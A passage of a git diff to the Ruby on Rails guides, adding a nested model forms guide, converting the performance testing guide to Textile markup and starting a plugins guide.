+Validations such as +validates_uniqueness_of+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
+
+Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "redhillonrails":http://agilewebdevelopment.com/plugins/search?search=redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6
+
+* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung
diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile
new file mode 100644
index 0000000000..4b685b214e
--- /dev/null
+++ b/railties/guides/source/nested_model_forms.textile
@@ -0,0 +1,222 @@
+h2. Rails nested model forms
+
+Creating a form for a model _and_ its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
+
+In this guide you will:
+
+* do stuff
+
+endprologue.
+
+NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
+
+
+h3. Model setup
+
+To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
+
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
+
+If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
+
+h4. ActiveRecord::Base model
+
+For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
+
+h5. has_one
+
+<ruby>
+class Person < ActiveRecord::Base
+ has_one :address
+ accepts_nested_attributes_for :address
+end
+</ruby>
+
+h5. belongs_to
+
+<ruby>
+class Person < ActiveRecord::Base
+ belongs_to :firm
+ accepts_nested_attributes_for :firm
+end
+</ruby>
+
+h5. has_many / has_and_belongs_to_many
+
+<ruby>
+class Person < ActiveRecord::Base
+ has_many :projects
+ accepts_nested_attributes_for :projects
+end
+</ruby>
+
+h4. Custom model
+
+As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
+
+h5. Single associated object
+
+<ruby>
+class Person
+ def address
+ Address.new
+ end
+
+ def address_attributes=(attributes)
+ # ...
+ end
+end
+</ruby>
+
+h5. Association collection
+
+<ruby>
+class Person
+ def projects
+ [Project.new, Project.new]
+ end
+
+ def projects_attributes=(attributes)
+ # ...
+ end
+end
+</ruby>
+
+NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
+
+h3. Views
+
+h4. Controller code
+
+A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
+
+Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
+
+<ruby>
+class PeopleController < ActionController:Base
+ def new
+ @person = Person.new
+ @person.built_address
+ 2.times { @person.projects.build }
+ end
+
+ def create
+ @person = Person.new(params[:person])
+ if @person.save
+ # ...
+ end
+ end
+end
+</ruby>
+
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
+
+h4. Form code
+
+Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
+
+h5. Standard form
+
+Start out with a regular RESTful form:
+
+<erb>
+<% form_for @person do |f| %>
+ <%= f.text_field :name %>
+<% end %>
+</erb>
+
+This will generate the following html:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+</form>
+</html>
+
+h5. Nested form for a single associated object
+
+Now add a nested form for the +address+ association:
+
+<erb>
+<% form_for @person do |f| %>
+ <%= f.text_field :name %>
+
+ <% f.fields_for :address do |af| %>
+ <%= f.text_field :street %>
+ <% end %>
+<% end %>
+</erb>
+
+This generates:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+
+ <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" />
+</form>
+</html>
+
+Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute.
+
+When this form is posted the Rails parameter parser will construct a hash like the following:
+
+<ruby>
+{
+ "person" => {
+ "name" => "Eloy Duran",
+ "address_attributes" => {
+ "street" => "Nieuwe Prinsengracht"
+ }
+ }
+}
+</ruby>
+
+That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
+
+h5. Nested form for a collection of associated objects
+
+The form code for an association collection is pretty similar to that of a single associated object:
+
+<erb>
+<% form_for @person do |f| %>
+ <%= f.text_field :name %>
+
+ <% f.fields_for :projects do |pf| %>
+ <%= f.text_field :name %>
+ <% end %>
+<% end %>
+</erb>
+
+Which generates:
+
+<html>
+<form action="/people" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+
+ <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" />
+ <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" />
+</form>
+</html>
+
+As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+
+<ruby>
+{
+ "person" => {
+ "name" => "Eloy Duran",
+ "projects_attributes" => {
+ "0" => { "name" => "Project 1" },
+ "1" => { "name" => "Project 2" }
+ }
+ }
+}
+</ruby>
+
+You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance.
+
+NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+
+TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example. \ No newline at end of file
diff --git a/railties/doc/guides/source/performance_testing.txt b/railties/guides/source/performance_testing.textile
index 250cf290a2..320a5b8472 100644
--- a/railties/doc/guides/source/performance_testing.txt
+++ b/railties/guides/source/performance_testing.textile
@@ -1,5 +1,4 @@
-Performance Testing Rails Applications
-======================================
+h2. Performance Testing Rails Applications
This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:
@@ -11,14 +10,15 @@ This guide covers the various ways of performance testing a Ruby on Rails applic
Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.
-== Performance Test Cases ==
+endprologue.
+
+h3. Performance Test Cases
Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.
In a freshly generated Rails application, +test/performance/browsing_test.rb+ contains an example of a performance test:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
require 'test_helper'
require 'performance_test_help'
@@ -28,23 +28,21 @@ class BrowsingTest < ActionController::PerformanceTest
get '/'
end
end
-----------------------------------------------------------------------------
+</ruby>
This example is a simple performance test case for profiling a GET request to the application's homepage.
-=== Generating performance tests ===
+h4. Generating Performance Tests
Rails provides a generator called +performance_test+ for creating new performance tests:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
script/generate performance_test homepage
-----------------------------------------------------------------------------
+</shell>
This generates +homepage_test.rb+ in the +test/performance+ directory:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
require 'test_helper'
require 'performance_test_help'
@@ -54,14 +52,13 @@ class HomepageTest < ActionController::PerformanceTest
get '/'
end
end
-----------------------------------------------------------------------------
+</ruby>
-=== Examples ===
+h4. Examples
Let's assume your application has the following controller and model:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
# routes.rb
map.root :controller => 'home'
map.resources :posts
@@ -91,21 +88,20 @@ class Post < ActiveRecord::Base
end
private
-
+
def recalculate_costly_stats
# CPU heavy calculations
end
end
-----------------------------------------------------------------------------
+</ruby>
-==== Controller Example ====
+h5. Controller Example
-Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
+Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them.
Here's the performance test for +HomeController#dashboard+ and +PostsController#create+:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
require 'test_helper'
require 'performance_test_help'
@@ -123,18 +119,17 @@ class PostPerformanceTest < ActionController::PerformanceTest
post '/posts', :post => { :body => 'lifo is fooling you' }
end
end
-----------------------------------------------------------------------------
+</ruby>
-You can find more details about the +get+ and +post+ methods in the link:../testing_rails_applications.html#mgunderloy[Testing Rails Applications] guide.
+You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide.
-==== Model Example ====
+h5. Model Example
Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.
Performance test for +Post+ model:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
require 'test_helper'
require 'performance_test_help'
@@ -148,112 +143,108 @@ class PostModelTest < ActionController::PerformanceTest
posts(:awesome).slow_method
end
end
-----------------------------------------------------------------------------
+</ruby>
-=== Modes ===
+h4. Modes
-Performance tests can be run in two modes : Benchmarking and Profiling.
+Performance tests can be run in two modes: Benchmarking and Profiling.
-==== Benchmarking ====
+h5. Benchmarking
-Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode.
+Benchmarking helps find out how fast each performance test runs. Each test case is run +4 times+ in benchmarking mode.
To run performance tests in benchmarking mode:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ rake test:benchmark
-----------------------------------------------------------------------------
+</shell>
-==== Profiling ====
+h5. Profiling
-Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode.
+Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run +1 time+ in profiling mode.
To run performance tests in profiling mode:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ rake test:profile
-----------------------------------------------------------------------------
+</shell>
-=== Metrics ===
+h4. Metrics
Benchmarking and profiling run performance tests in various modes described below.
-==== Wall Time ====
+h5. Wall Time
Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.
-Mode : Benchmarking
+Mode: Benchmarking
-==== Process Time ====
+h5. Process Time
Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.
-Mode : Profiling
+Mode: Profiling
-==== Memory ====
+h5. Memory
Memory measures the amount of memory used for the performance test case.
-Mode : Benchmarking, Profiling [xref:gc[Requires GC-Patched Ruby]]
+Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby
-==== Objects ====
+h5. Objects
Objects measures the number of objects allocated for the performance test case.
-Mode : Benchmarking, Profiling [xref:gc[Requires GC-Patched Ruby]]
+Mode: Benchmarking, Profiling "Requires GC Patched Ruby":#installing-gc-patched-ruby
-==== GC Runs ====
+h5. GC Runs
GC Runs measures the number of times GC was invoked for the performance test case.
-Mode : Benchmarking [xref:gc[Requires GC-Patched Ruby]]
+Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby
-==== GC Time ====
+h5. GC Time
GC Time measures the amount of time spent in GC for the performance test case.
-Mode : Benchmarking [xref:gc[Requires GC-Patched Ruby]]
+Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby
-=== Understanding the output ===
+h4. Understanding the Output
Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric.
-==== Benchmarking ====
+h5. Benchmarking
-In benchmarking mode, performance tests generate two types of outputs :
+In benchmarking mode, performance tests generate two types of outputs:
-===== Command line =====
+h6. Command Line
-This is the primary form of output in benchmarking mode. Example :
+This is the primary form of output in benchmarking mode. Example:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
BrowsingTest#test_homepage (31 ms warmup)
wall_time: 6 ms
memory: 437.27 KB
objects: 5514
gc_runs: 0
gc_time: 19 ms
-----------------------------------------------------------------------------
+</shell>
-===== CSV files =====
+h6. CSV Files
-Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files :
+Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files:
- - BrowsingTest#test_homepage_gc_runs.csv
- - BrowsingTest#test_homepage_gc_time.csv
- - BrowsingTest#test_homepage_memory.csv
- - BrowsingTest#test_homepage_objects.csv
- - BrowsingTest#test_homepage_wall_time.csv
+* BrowsingTest#test_homepage_gc_runs.csv
+* BrowsingTest#test_homepage_gc_time.csv
+* BrowsingTest#test_homepage_memory.csv
+* BrowsingTest#test_homepage_objects.csv
+* BrowsingTest#test_homepage_wall_time.csv
As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.
Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
measurement,created_at,app,rails,ruby,platform
0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
@@ -265,296 +256,276 @@ measurement,created_at,app,rails,ruby,platform
0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0
0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
-----------------------------------------------------------------------------
+</shell>
-==== Profiling ====
+h5. Profiling
In profiling mode, you can choose from four types of output.
-===== Command line =====
+h6. Command Line
This is a very basic form of output in profiling mode:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
BrowsingTest#test_homepage (58 ms warmup)
process_time: 63 ms
memory: 832.13 KB
objects: 7882
-----------------------------------------------------------------------------
+</shell>
-===== Flat =====
+h6. Flat
-Flat output shows the total amount of time spent in each method. http://ruby-prof.rubyforge.org/files/examples/flat_txt.html[Check ruby prof documentation for a better explanation].
+Flat output shows the total amount of time spent in each method. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
-===== Graph =====
+h6. Graph
-Graph output shows how long each method takes to run, which methods call it and which methods it calls. http://ruby-prof.rubyforge.org/files/examples/graph_txt.html[Check ruby prof documentation for a better explanation].
+Graph output shows how long each method takes to run, which methods call it and which methods it calls. "Check ruby prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
-===== Tree =====
+h6. Tree
-Tree output is profiling information in calltree format for use by http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind] and similar tools.
+Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools.
-=== Tuning Test Runs ===
+h4. Tuning Test Runs
By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured.
-CAUTION: Performance test configurability is not yet enabled in Rails. But it will be soon.
+WARNING: Performance test configurability is not yet enabled in Rails. But it will be soon.
-=== Performance Test Environment ===
+h4. Performance Test Environment
Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
ActionController::Base.perform_caching = true
ActiveSupport::Dependencies.mechanism = :require
Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-----------------------------------------------------------------------------
+</shell>
As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment.
-[[gc]]
-=== Installing GC-Patched Ruby ===
+h4. Installing GC-Patched Ruby
-To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[GC patch] for measuring GC Runs/Time and memory/object allocation.
+To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - "GC patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch for measuring GC Runs/Time and memory/object allocation.
-The process is fairly straight forward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:
+The process is fairly straightforward. If you've never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:
-==== Installation ====
+h5. Installation
-Compile Ruby and apply this http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[GC Patch]:
+Compile Ruby and apply this "GC Patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch.
-==== Download and Extract ====
+h5. Download and Extract
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
[lifo@null ~]$ mkdir rubygc
[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby>
[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz>
[lifo@null ~]$ cd <ruby-version>
-----------------------------------------------------------------------------
+</shell>
-==== Apply the patch ====
+h5. Apply the Patch
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-----------------------------------------------------------------------------
+</shell>
-==== Configure and Install ====
+h5. Configure and Install
The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory.
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc
[lifo@null ruby-version]$ make && make install
-----------------------------------------------------------------------------
+</shell>
-==== Prepare aliases ====
+h5. Prepare Aliases
For convenience, add the following lines in your +~/.profile+:
-----------------------------------------------------------------------------
+<shell>
alias gcruby='~/rubygc/bin/ruby'
alias gcrake='~/rubygc/bin/rake'
alias gcgem='~/rubygc/bin/gem'
alias gcirb='~/rubygc/bin/irb'
alias gcrails='~/rubygc/bin/rails'
-----------------------------------------------------------------------------
+</shell>
-==== Install rubygems and dependency gems ====
+h5. Install Rubygems and Dependency Gems
-Download http://rubyforge.org/projects/rubygems[Rubygems] and install it from source. Rubygem's README file should have necessary installation instructions.
+Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions.
-Additionally, install the following gems :
+Additionally, install the following gems:
- * +rake+
- * +rails+
- * +ruby-prof+
- * +rack+
- * +mysql+
+* +rake+
+* +rails+
+* +ruby-prof+
+* +rack+
+* +mysql+
If installing +mysql+ fails, you can try to install it manually:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
[lifo@null mysql]$ make && make install
-----------------------------------------------------------------------------
+</shell>
And you're ready to go. Don't forget to use +gcruby+ and +gcrake+ aliases when running the performance tests.
-== Command Line Tools ==
+h3. Command Line Tools
Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:
-=== benchmarker ===
+h4. +benchmarker+
-+benchmarker+ is a wrapper around Ruby's http://ruby-doc.org/core/classes/Benchmark.html[Benchmark] module.
++benchmarker+ is a wrapper around Ruby's "Benchmark":http://ruby-doc.org/core/classes/Benchmark.html standard library.
Usage:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ...
-----------------------------------------------------------------------------
+</shell>
Examples:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/benchmarker 10 'Item.all' 'CouchItem.all'
-----------------------------------------------------------------------------
+</shell>
If the +[times]+ argument is omitted, supplied methods are run just once:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/benchmarker 'Item.first' 'Item.last'
-----------------------------------------------------------------------------
+</shell>
-=== profiler ===
+h4. +profiler+
+profiler+ is a wrapper around http://ruby-prof.rubyforge.org/[ruby-prof] gem.
Usage:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]
-----------------------------------------------------------------------------
+</shell>
Examples:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/profiler 'Item.all'
-----------------------------------------------------------------------------
+</shell>
This will profile +Item.all+ in +RubyProf::WALL_TIME+ measure mode. By default, it prints flat output to the shell.
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/profiler 'Item.all' 10 graph
-----------------------------------------------------------------------------
+</shell>
This will profile +10.times { Item.all }+ with +RubyProf::WALL_TIME+ measure mode and print graph output to the shell.
If you want to store the output in a file:
-[source, shell]
-----------------------------------------------------------------------------
+<shell>
$ script/performance/profiler 'Item.all' 10 graph 2> graph.txt
-----------------------------------------------------------------------------
+</shell>
-== Helper methods ==
+h3. Helper Methods
Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called +benchmark()+ in all the three components.
-=== Model ===
+h4. Model
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
Project.benchmark("Creating project") do
project = Project.create("name" => "stuff")
project.create_manager("name" => "David")
project.milestones << Milestone.find(:all)
end
-----------------------------------------------------------------------------
+</ruby>
-This benchmarks the code enclosed in the +Project.benchmark("Creating project") do..end+ block and prints the result to the log file:
+This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+ block and prints the result to the log file:
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
Creating project (185.3ms)
-----------------------------------------------------------------------------
-
-Please refer to the http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for additional options to +benchmark()+
+</ruby>
-=== Controller ===
+Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+
-Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers]
+h4. Controller
-NOTE: +benchmark+ is a class method inside controllers
+Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
def process_projects
self.class.benchmark("Processing projects") do
Project.process(params[:project_ids])
Project.update_cached_projects
end
end
-----------------------------------------------------------------------------
+</ruby>
+
+NOTE: +benchmark+ is a class method inside controllers
-=== View ===
+h4. View
-And in http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]:
+And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715:
-[source, ruby]
-----------------------------------------------------------------------------
+<erb>
<% benchmark("Showing projects partial") do %>
<%= render :partial => @projects %>
<% end %>
-----------------------------------------------------------------------------
+</erb>
-== Request Logging ==
+h3. Request Logging
Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:
-[source, ruby]
-----------------------------------------------------------------------------
+<shell>
Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
Rendering template within layouts/items
Rendering items/index
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-----------------------------------------------------------------------------
+</shell>
For this section, we're only interested in the last line:
-[source, ruby]
-----------------------------------------------------------------------------
+<shell>
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-----------------------------------------------------------------------------
+</shell>
-This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
+This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.
-Michael Koziarski has an http://www.therailsway.com/2009/1/6/requests-per-second[interesting blog post] explaining the importance of using milliseconds as the metric.
+Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second explaining the importance of using milliseconds as the metric.
-== Useful Links ==
+h3. Useful Links
-=== Rails Plugins and Gems ===
+h4. Rails Plugins and Gems
-* http://rails-analyzer.rubyforge.org/[Rails Analyzer]
-* http://www.flyingmachinestudios.com/projects/[Palmist]
-* http://github.com/josevalim/rails-footnotes/tree/master[Rails Footnotes]
-* http://github.com/dsboulder/query_reviewer/tree/master[Query Reviewer]
+* "Rails Analyzer":http://rails-analyzer.rubyforge.org
+* "Palmist":http://www.flyingmachinestudios.com/projects/
+* "Rails Footnotes":http://github.com/josevalim/rails-footnotes/tree/master
+* "Query Reviewer":http://github.com/dsboulder/query_reviewer/tree/master
-=== Generic Tools ===
+h4. Generic Tools
-* http://www.hpl.hp.com/research/linux/httperf[httperf]
-* http://httpd.apache.org/docs/2.2/programs/ab.html[ab]
-* http://jakarta.apache.org/jmeter[JMeter]
-* http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind]
+* "httperf":http://www.hpl.hp.com/research/linux/httperf/
+* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
+* "JMeter":http://jakarta.apache.org/jmeter/
+* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
-=== Tutorials and Documentation ===
+h4. Tutorials and Documentation
-* http://ruby-prof.rubyforge.org[ruby-prof API Documentation]
-* http://railscasts.com/episodes/98-request-profiling[Request Profiling Railscast] - Outdated, but useful for understanding call graphs
+* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
+* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs
-== Commercial Products ==
+h3. Commercial Products
Rails has been lucky to have three startups dedicated to Rails specific performance tools:
-* http://www.newrelic.com[New Relic]
-* http://www.fiveruns.com[Fiveruns]
-* http://scoutapp.com[Scout]
+* "New Relic":http://www.newrelic.com
+* "Fiveruns":http://www.fiveruns.com
+* "Scout":http://scoutapp.com
-== Changelog ==
+h3. Changelog
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4
-* January 9, 2009: Complete rewrite by link:../authors.html#lifo[Pratik]
+* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo
* September 6, 2008: Initial version by Matthew Bergman
diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile
new file mode 100644
index 0000000000..55ecdcd3d1
--- /dev/null
+++ b/railties/guides/source/plugins.textile
@@ -0,0 +1,1512 @@
+h2. The Basics of Creating Rails Plugins
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* a way for developers to share bleeding-edge ideas without hurting the stable code base
+* a segmented architecture so that units of code can be fixed or updated on their own release schedule
+* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+After reading this guide you should be familiar with:
+
+* Creating a plugin from scratch
+* Writing and running tests for the plugin
+* Storing models, views, controllers, helpers and even other plugins in your plugins
+* Writing generators
+* Writing custom Rake tasks in your plugin
+* Generating RDoc documentation for your plugin
+* Avoiding common pitfalls with 'init.rb'
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core ruby classes like Hash and String
+* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins
+* Add a view helper that can be used in erb templates
+* Add a new generator that will generate a migration
+* Add a custom generator command
+* A custom route method that can be used in routes.rb
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.
+
+endprologue.
+
+h3. Setup
+
+h4. Create the Basic Application
+
+The examples in this guide require that you have a working rails application. To create a simple rails app execute:
+
+<pre>
+gem install rails
+rails yaffle_guide
+cd yaffle_guide
+script/generate scaffold bird name:string
+rake db:migrate
+script/server
+</pre>
+
+Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing.
+
+NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
+
+
+h4. Generate the Plugin Skeleton
+
+Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass +--with-generator+ to add an example generator also.
+
+This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories.
+
+Examples:
+<pre>
+./script/generate plugin yaffle
+./script/generate plugin yaffle --with-generator
+</pre>
+
+To get more detailed help on the plugin generator, type +./script/generate plugin+.
+
+Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the +--with-generator+ option now:
+
+<pre>
+./script/generate plugin yaffle --with-generator
+</pre>
+
+You should see the following output:
+
+<pre>
+create vendor/plugins/yaffle/lib
+create vendor/plugins/yaffle/tasks
+create vendor/plugins/yaffle/test
+create vendor/plugins/yaffle/README
+create vendor/plugins/yaffle/MIT-LICENSE
+create vendor/plugins/yaffle/Rakefile
+create vendor/plugins/yaffle/init.rb
+create vendor/plugins/yaffle/install.rb
+create vendor/plugins/yaffle/uninstall.rb
+create vendor/plugins/yaffle/lib/yaffle.rb
+create vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create vendor/plugins/yaffle/test/core_ext_test.rb
